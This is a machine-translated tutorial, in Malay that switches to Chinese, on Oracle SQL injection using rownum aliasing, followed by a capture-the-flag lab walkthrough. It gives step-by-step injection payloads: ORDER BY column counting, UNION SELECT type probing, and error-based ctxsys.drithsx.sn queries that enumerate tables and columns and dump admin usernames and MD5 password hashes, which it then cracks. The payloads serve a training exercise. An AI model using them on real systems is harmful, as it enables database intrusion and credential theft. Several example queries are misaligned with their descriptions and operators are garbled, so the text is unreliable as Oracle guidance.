Rumah > Artikel > pangkalan data > Contoh terperinci penggunaan kaedah alias dalam suntikan pangkalan data Oracle
Artikel ini membawakan anda pengetahuan yang berkaitan tentang Oracle terutamanya memperkenalkan penjelasan terperinci tentang penggunaan kaedah alias dalam suntikan pangkalan data Oracle, termasuk pernyataan asas maklumat pertanyaan Oracle dan rownum pada ciri dan sebagainya, saya harap ia akan membantu semua orang.
Tutorial yang disyorkan: "Tutorial Video Oracle"
Ringkasan ciri Oracle:
1. Oracle perlu mengikut nama jadual apabila menggunakan bahasa pertanyaan untuk mendapatkan maklumat Ini serupa dengan Access Jika tiada jadual, anda boleh menggunakan jadual dwi. Dual ialah jadual maya Oracle yang digunakan untuk membentuk pilih. Oracle menjamin bahawa akan sentiasa ada satu rekod dalam dwi Jika anda menanyakannya secara langsung, ia hanya akan memaparkan data Semasa menanyakan, jenis data pada kedudukan yang sepadan mesti konsisten dengan jenis data lajur dalam jadual Anda juga boleh menggunakan NULL untuk menggantikan beberapa kedudukan jenis data yang tidak dapat diteka dengan cepat. Ini serupa dengan SQL Server. 3. Oracle berbeza daripada mysql. Tiada had dalam paging, tetapi sarang pertanyaan tiga lapisan digunakan untuk mencapai paging 4. Simbol komen satu baris Oracle ialah simbol komen berbilang baris 5. Pangkalan data Oracle; beberapa Jadual sistem ini menyimpan nama jadual dan nama lajur pangkalan data sistem, seperti lajur_tab_pengguna, lajur_tab_semua, semua_jadual, jadual_pengguna Jadual sistem menyimpan semua jadual dan nama lajur pengguna, di mana nama_jadual mewakili nama Jadual sistem, nama_lajur ialah. nama lajur yang wujud dalam sistem; 6. Oracle menggunakan rentetan penyambungan (diwakili oleh pengekodan dalam URL), dan fungsi itu juga boleh menyambung dua rentetan; 7. Dalam Oracle, perpustakaan telah dilemahkan dan pengguna telah diperkukuhkan Pembezaannya adalah berdasarkan pengguna. Pemahaman mudah ialah nama pengguna semasa adalah bersamaan dengan nama perpustakaan dalam pangkalan data lain.
2 Pengenalan kepada alias
(1) Penyataan asas untuk maklumat pertanyaan Oracle
Tanya semua medan select * from all_tables
Tanya medan pengguna semasa select * from user_tables
Semak versi Oracle semasa select * from all_tab_columns
(2) rownum Ciri-ciri select * from user_tab_columns
Memandangkan tiada had dalam Oracle, rownum diperlukan untuk memilih data tertentu semasa menanyakannya. Sebagai contoh, masukkan dahulu: select * from v$version
Kami melihat bahawa halaman mengeluarkan banyak data, tetapi kebanyakannya bukan yang kami perlukan, jadi dengan andaian saya hanya mahukan 4 yang pertama kepingan data, kemudian Ubah suai pernyataan seperti berikut: select * from all_tables
Jadi dengan mengandaikan kita hanya memerlukan sekeping data kedua, bolehkah kita memasukkan di mana rownum=2? tak boleh. Ini kerana rownum bukan nama medan jadual, tetapi nombor baris hasil pertanyaan Setiap kali terdapat hasil dalam pertanyaan, baris pertama, baris kedua, baris ketiga, dll. akan menjadi lalai. Rownum ini ialah nombor baris , bukan kepunyaan medan tertentu, jadi rownum ialah contoh pseudo yang sentiasa bermula dengan 1, rownum>n, apabila n>1, keadaan tidak boleh diwujudkan. Untuk situasi ini, dua kaedah boleh digunakan iaitu kaedah ketaksamaan dan kaedah alias.
Apabila menggunakan pernyataan pertanyaan, kita sering meminta untuk mengembalikan n rekod pertama dalam jadual atau rekod tengah Contohnya, dalam jadual besar (dengan mengandaikan terdapat 1W keping data), kita perlu menanyakan rekod daripada 1000. ke 1005. . Menghadapi pertanyaan seperti ini, apakah yang perlu kita lakukan? Setiap pangkalan data mempunyai penyelesaiannya sendiri Sebagai contoh, dalam mysql, arahan had digunakan untuk halaman keputusan, dalam MSSQL, TOP digunakan untuk halaman keputusan, dan Oracle terutamanya menggunakan arahan rownum untuk menyelesaikan masalah ini. Mari kita lihat cara untuk mengeluarkan data yang ditentukan dalam oracle. select * from all_tables where rownum<h2> (3) Kaedah tidak sama </h2>
<p>Masukkan arahan ini dalam platform gerudi oracle dalam talian (di sini adalah untuk menanyakan semua medan pengguna semasa): <br><code>select* from user_tab_columns
Keputusan memaparkan semua jadual semasa dan nama medan yang sepadan Jika saya hanya mahu memaparkan kandungan jadual ADMIN, saya boleh memasukkan: select* from user_tab_columns where table_name='ADMIN'
Jika saya hanya mahu. paparan Bagaimana untuk memasukkan sekeping data kedua? Jelas sekali tidak mungkin untuk menambah keadaan rownum=2 secara langsung Di sini anda boleh menggunakan kaedah ketaksamaan untuk bertanya: select* from user_tab_columns where table_name='ADMIN' and COLUMN_NAME'UNAME
Dari sini kita juga dapat melihat bahawa kaedah ketaksamaan ialah. Kelemahannya ialah kaedah ini hanya boleh digunakan apabila jumlah data adalah sangat kecil. Apabila jumlah data adalah sangat besar, kaedah aliasing yang diperkenalkan di bawah perlu digunakan.
Mari kita lihat kenyataan ini: select column_name,rownum n from user_tab_columns
Selepas ayat ini melaksanakan nama lajur pertanyaan , pertanyaan akan Hasilnya dinomborkan secara berurutan dari atas ke bawah bermula dari 1, tetapi memandangkan rownum itu sendiri bukan medan, ia dinamakan n di sini. Dengan cara ini, fungsi pernyataan pertanyaan ini adalah untuk menanyakan nama lajur dan nombor baris yang sepadan dengan setiap nama lajur, dan menyimpan nombor baris secara seragam dalam medan n.
Ambil perhatian bahawa walaupun kami telah mencipta medan baru n untuk menyimpan nombor baris pada masa ini, ia tidak akan berfungsi jika kami menambah syarat serta-merta selepasnya, seperti di mana n=7, kerana pernyataan ini perlu dilaksanakan sebelum n boleh didapati Medan ini, jadi jika anda ingin menggunakan medan n untuk menanyakan maklumat, anda perlu meletakkan pernyataan ini secara keseluruhan dalam subkueri pernyataan lain Dengan cara ini, selepas ayat itu dilaksanakan, terdapat n medan, dan kemudiannya boleh digunakan oleh ayat lain .
Sekarang kita mula-mula menanyakan beberapa medan dalam jadual ADMIN, masukkan seperti ini: select column_name,rownum n from user_tab_columns where table_name='ADMIN'
Hasil pertanyaan di sini akan mendapat dua nama medan. Nombor baris ialah alias n yang kami ambil, jadi medan pertama ialah nama medan sebenar, dan medan kedua ialah alias n yang kami ambil.
Contohnya, hasil subkueri ialah:
字段名 | 行号 |
---|---|
aa | 1 |
bb | 2 |
cc | 3 |
dd | 4 |
Kemudian hanya masukkan:
pilih * daripada subquery di mana n=2, dan anda boleh mendapatkan data bb Begitu juga, untuk data yang anda mahu, hanya buat n sama dengan nombor yang sepadan.
Oleh itu, selagi ayat ini ditulis sebagai subkueri, dan pernyataan pertanyaan luaran digunakan untuk menanyakan hasil subkueri ini, biarkan n=2, medan kedua boleh diperolehi, jadi masukkan: select * from (select column_name,rownum n from user_tab_columns where table_name='ADMIN')where n=2
Medan kedua berjaya disoal.
Nota: Apabila kaedah alias digunakan untuk menamakan rownum n, kaedah penulisan standard ialah menggunakan rownum sebagai n Untuk menjadi lebih ringkas, hanya rownum n, dipisahkan dengan ruang.
Alias boleh digunakan semasa menanyakan medan, tetapi bolehkah ia digunakan semasa menanyakan nama jadual? Jawapannya ya.
Contoh: select table_name,rownum n from user_tables
Dapat dilihat bahawa mengaliaskan jadual adalah sama dengan mengaliaskan medan, dan penggunaannya sebenarnya serupa, jadi saya tidak akan pergi ke butiran di sini.
Perkara di atas hanyalah asas teori Dalam operasi sebenarnya, ia tidak semudah itu jarak menembak untuk operasi sebenar.
Mengambil Fengshentai sebagai contoh, alamatnya di http://o1.lab.aqlab.cn/?id=1
telah masuk julat penangkapan, Melihat bahawa terdapat parameter GET dalam bar alamat, sudah tentu, mula-mula cuba lihat jika terdapat input SQL:
Masukkan selepas id=1:
dan 1=1, halaman bergema seperti biasa
dan 1=2, Gema halaman tidak normal
Tukar id=1 kepada id=2-1 dan gema halaman adalah normal.
Maksudnya mesti ada SQL injection.
Dalam pertempuran sebenar, kami tidak tahu pangkalan data apa tapak web sasaran, jadi kenapa perlu bersusah payah dan menganggapnya sebagai MYSQL Lakukan sahaja, jadi di sini kita mula-mula menanyakan bilangan medan:
Masukkan order by 1
dan gema halaman adalah normal; tidak normal;
Masukkan order by 5
dan gema halaman adalah normal;
menunjukkan bahawa bilangan medan pada halaman semasa ialah 4. order by 4
(3) Cuba pertanyaan bersama order by 5
Masukkan selepas id=1:
union all select 1,2,3,4Halaman itu bergema seperti biasa. Nampaknya pangkalan data sasaran mempunyai keperluan tatabahasa yang sangat ketat Sekarang tentukan dahulu jenis data empat medan itu:
union all select null,null,null,null from dual. Tekan ctrl u untuk melihat kod sumber halaman web, cari 111, dan tidak melihat salah jajaran yang jelas.
union all select 111,null,null,null from dual
Cuba buat laporan halaman semasa sebagai ralat untuk melihat jika terdapat sebarang salah jajaran paparan:
Tiada salah jajaran paparan yang jelas kelihatan.
Teruskan menaip:
and 1=2 union all select 111,null,null,null from dual
Halaman mengembalikan pengecualian, menunjukkan bahawa medan kedua bukan jenis angka.
Teruskan menaip:
and 1=2 union all select 111,111,null,null from dual
Halaman mengembalikan pengecualian, menunjukkan bahawa medan kedua bukan jenis rentetan.
Sebenarnya, pangkalan data Oracle mempunyai banyak jenis data, seperti nilai berangka, rentetan, tarikh, binari, dan teks yang besar di sini.
and 1=2 union all select 111,'aa',null,null from dualTeruskan membuat pertanyaan pada medan keempat:
Didapati halaman tersebut memaparkan masa baharu.
and 1=2 union all select 111,null,null,111111 from dual
Apabila anda melihat masa seperti ini, anda perlu memikirkan cap waktu, kerana komputer mula mengira saat dari pukul 8 pada 1 Januari 1970.
(4) Nama jadual pertanyaan
Gunakan fungsi suntikan ralat untuk bertanya maklumat, masukkan:
and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))Dapatkan nama jadual
ADMIN
Teruskan masuk:
and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name'ADMIN'))Dapatkan jadual kedua sebagai
BERITA.
Seterusnya, anda tidak lagi boleh menggunakan kaedah ketaksamaan untuk menanyakan jadual lain Sebaliknya, gunakan kaedah alias yang dinyatakan di atas untuk membina pernyataan asas, dan kemudian ubah suai nilai n untuk menentukan nama jadual yang masih belum disoal. :Jadual akhir untuk menentukan pengguna semasa ialah:
ADMIN, NEWS, MD5
and 1=ctxsys.drithsx.sn(1,(select table_name from (select table_name,rownum n from user_tables )where n =3))
接下来查询字段,ADMIN表显然更可能有我们想要查询的信息,因此先查询ADMIN表的内容,输入:
and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=1))
得到第一个字段名为:UNAME
把n改为2继续输入:
and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=2))
得到第二个字段为UPASS
把n改为3,继续输入:
and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=3))
得到第三个字段为MD5
把n改为4,继续输入:
and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=4))
没有结果了。可见ADMIN表中的字段为:UNAME、UPASS、MD5
字段和表名都有了,接下来查询具体的数据,为了方便,还是用别名法来查询:
and 1=ctxsys.drithsx.sn(1,(select UNAME from (select UNAME,rownum as n from ADMIN) where n=1))
注意报错函数的特殊性,因此这里不能用*来代替UNAME。
通过改变n的值可以得到UNAME中的全部用户名为:OCI、NF、QQ123。
用同样的方法继续查询UPASS字段的内容,输入:
and 1=ctxsys.drithsx.sn(1,(select UPASS from (select UPASS,rownum as n from ADMIN) where n=1))
改变n的值可以得到UPASS字段的三条记录分别为:e10adc3949ba59abbe56e057f20f883e
2a61f8bcfe7535eadcfa69eb4406ceb9
654321
在cmd5.com中解密后结果分别为:
123456、未查到、654321
把每个md5值都提交到靶场,最终确定flag为:2a61f8bcfe7535eadcfa69eb4406ceb9
渗透测试人员在进行数据库注入时,总是会遇到查询指定数据的问题,对于不同的数据库虽然查询方法大同小异,但是很多细节如果没有搞好是很难完成渗透的,这就需要每一位渗透测试人员夯实理论基础,掌握每一种常用的方法,在面临实际问题的时候才能游刃有余。
本文重点介绍了Oracle数据库的特点以及注入时常用的别名法,分享了别名法在靶场中实操的过程,并分享了一个在线执行Oracle命令的平台希望能够为各位同行或爱好者解决相关问题提供参考。
推荐教程:《Oracle视频教程》
Atas ialah kandungan terperinci Contoh terperinci penggunaan kaedah alias dalam suntikan pangkalan data Oracle. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!